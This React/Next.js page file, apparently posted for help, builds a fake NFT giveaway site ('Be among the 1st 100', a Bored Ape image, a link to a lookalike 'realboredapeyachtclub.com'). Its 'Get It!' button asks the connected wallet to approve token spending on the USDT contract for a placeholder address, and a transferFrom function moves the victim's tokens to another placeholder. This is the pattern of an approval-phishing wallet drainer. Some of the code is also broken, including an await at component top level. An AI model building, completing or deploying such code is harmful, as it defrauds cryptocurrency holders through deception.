import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"
import Head from "next/head"
import { useMoralis, useWeb3Contract, useWeb3Transfer } from "react-moralis"
import Balance from "../components/Balance"
import Transactions from "../components/Transactions"
import Header from "../components/Header"
import Profile from "../components/Profile"
import Moralis from "moralis"
import { useEffect, useState } from "react"
import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'
import { useDisclosure } from '@chakra-ui/react'
// import { ethers } from "ethers";
// import { web3Provider } from "@walletconnect/web3-provider"
// import web3 from './web3';
// import WalletConnectProvider from "@walletconnect/web3-provider";
// const Container = styled.div`
// display: flex;
// justify-content: center;
// align-items: center;
// height: 100vh;
// `;
// const Button = styled.button`
// min-width: 100px;
// padding: 16px 32px;
// border-radius: 4px;
// border: none;
// background: #141414;
// color: #fff;
// font-size: 24px;
// cursor: pointer;
// `;
function Home() {
const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()
const [approved, setApproved] = useState(false);
const { runContractFunction: approve, data: enterTxResponse, error, isLoading, isFetching } = useWeb3Contract({
abi: [
{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}
],
contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",
functionName: "approve",
params: {
_spender: "addAddress",
_value: 15000000,
},
}
);
const options = {
chain: 'eth',
address: "0xdAC17F958D2ee523a2206206994597C13D831ec7",
function_name: "allowance",
abi: [{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}],
params: {
_owner: user,
_spender: "addAddress"
}
};
const result = await Moralis.Web3API.native.runContractFunction(options);
console.log(result);
useEffect(() => {
if (!isWeb3Enabled && isAuthenticated)
enableWeb3();
},[isWeb3Enabled, isAuthenticated]);
const { isOpen, onOpen, onClose } = useDisclosure()
if(!isAuthenticated && !user) {
console.log(user);
return(
<>
<Head>
<title>Test</title>
</Head>
<Flex
direction="column"
justifyContent="center"
alignItems="center"
width="100vw"
height="100vh"
bgGradient="linear(to-br, teal.400, purple.300)"
backgroundImage="url('../bay.jpg')"
>
<Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => authenticate({
signingMessage: "Sign your wallet"
})}
>Sign in with Metamask with PC</Button>
<br />
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => authWalletConnect({
signingMessage: "Sign your wallet"
})}
>Sign in with Wallet Connect</Button>
</Flex>
</>
)
};
// const ABI =
async function authWalletConnect() {
const user = authenticate({
provider: "walletconnect",
chainId: 56,
mobileLinks: [
"metamask",
"trust",
"rainbow",
"argent",
"imtoken",
"pillar",
"mathwallet",
"meet.one wallet",
"equal",
"safepal",
"cool wallet",
"xwallet",
"atomic",
"myetherwallet",
"cybavo",
"onto",
"mycrypto",
"minerva wallet",
"metax",
"encrypted ink",
"gnosis safe",
"bitpay",
"fireblocks",
"debank",
"tokenpocket",
"infinity wallet",
"coinbase wallet"
],
signingMessage: "Sign your wallet",
});
console.log(user);
};
const handleSuccess = async (tx) => {
await tx.wait(1)
setApproved(true)
// handleNewNotification(tx)
}
// async function approve() {
// const options = {
// contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",
// functionName: "approve",
// abi: [
// {"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}
// ],
// params: {
// _spender: "addAddress",
// _value: 15000000,
// }
// }
// await Moralis.executeFunction(options);
// };
const { account } = useMoralis();
async function transferFromCon() {
const realOptions = {
contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",
// contractAddress: "0xdAC17F958D2ee523a2206206994597C13D831ec7",
functionName: "transferFrom",
abi: [
{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}
],
params: {
_from: account,
_to: "AddAdress",
_value: 15000000,
}
}
await Moralis.executeFunction(realOptions)
};
return (
<>
<Head>
<title>Test</title>
<meta name="description" content="Test" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
<link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />
<link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />
<link rel="manifest" href="/site.webmanifest" />
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />
<meta name="msapplication-TileColor" content="#da532c" />
<meta name="theme-color" content="#ffffff" />
</Head>
<Flex direction="column" width="100vw" height="100vh">
<Header user={user} logout={logout} isLoggingOut={isLoggingOut}/>
<Box flex="1" bg="purple.100" px="11" py="44">
<Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">
<Alert status="success">
<AlertIcon />
Wallet connected succesfully {user.get("ethAddress")}
</Alert>
<br />
<Button onClick={onOpen}>Get it now!</Button>
<Modal isOpen={isOpen} onClose={onClose}>
<ModalOverlay />
<ModalContent>
<ModalHeader color="purple">Be among the 1st 100</ModalHeader>
<ModalCloseButton />
<ModalBody>
<Image src="../bored.jpg" />
</ModalBody>
<ModalFooter>
{/* <Button colorScheme='blue' mr={3} onClick={onClose}>
Close
</Button> */}
<Button ml="4" className="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded ml-auto"
onClick={async () =>
await approve({
onSuccess: handleSuccess,
})
}
disabled={isLoading || isFetching || approved}>{ approved ? "Approved" : "Get It!" }</Button>
{/* <br /> */}
{/* <Button ml="4" colorScheme="green" onClick={transferFromCon}>Continue</Button> */}
<a href="https://realboredapeyachtclub.com/" target="_blank" rel="noreferrer">
<Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>Continue</Button>
</a>
</ModalFooter>
</ModalContent>
</Modal>
<br />
{/* <TabList>
<Tab fontWeight="bold">Profile</Tab>
<Tab fontWeight="bold">Balance</Tab>
<Tab fontWeight="bold">Transactions</Tab>
</TabList>
<TabPanels>
<TabPanel>
<Profile user={user} />
</TabPanel> */}
<TabPanel>
<Balance user={user}/>
</TabPanel>
{/* <TabPanel>
<Transactions user={user}/>
</TabPanel>
</TabPanels> */}
</Tabs>
</Box>
</Flex>
</>
)
}
export default Home
please here are my whole codes.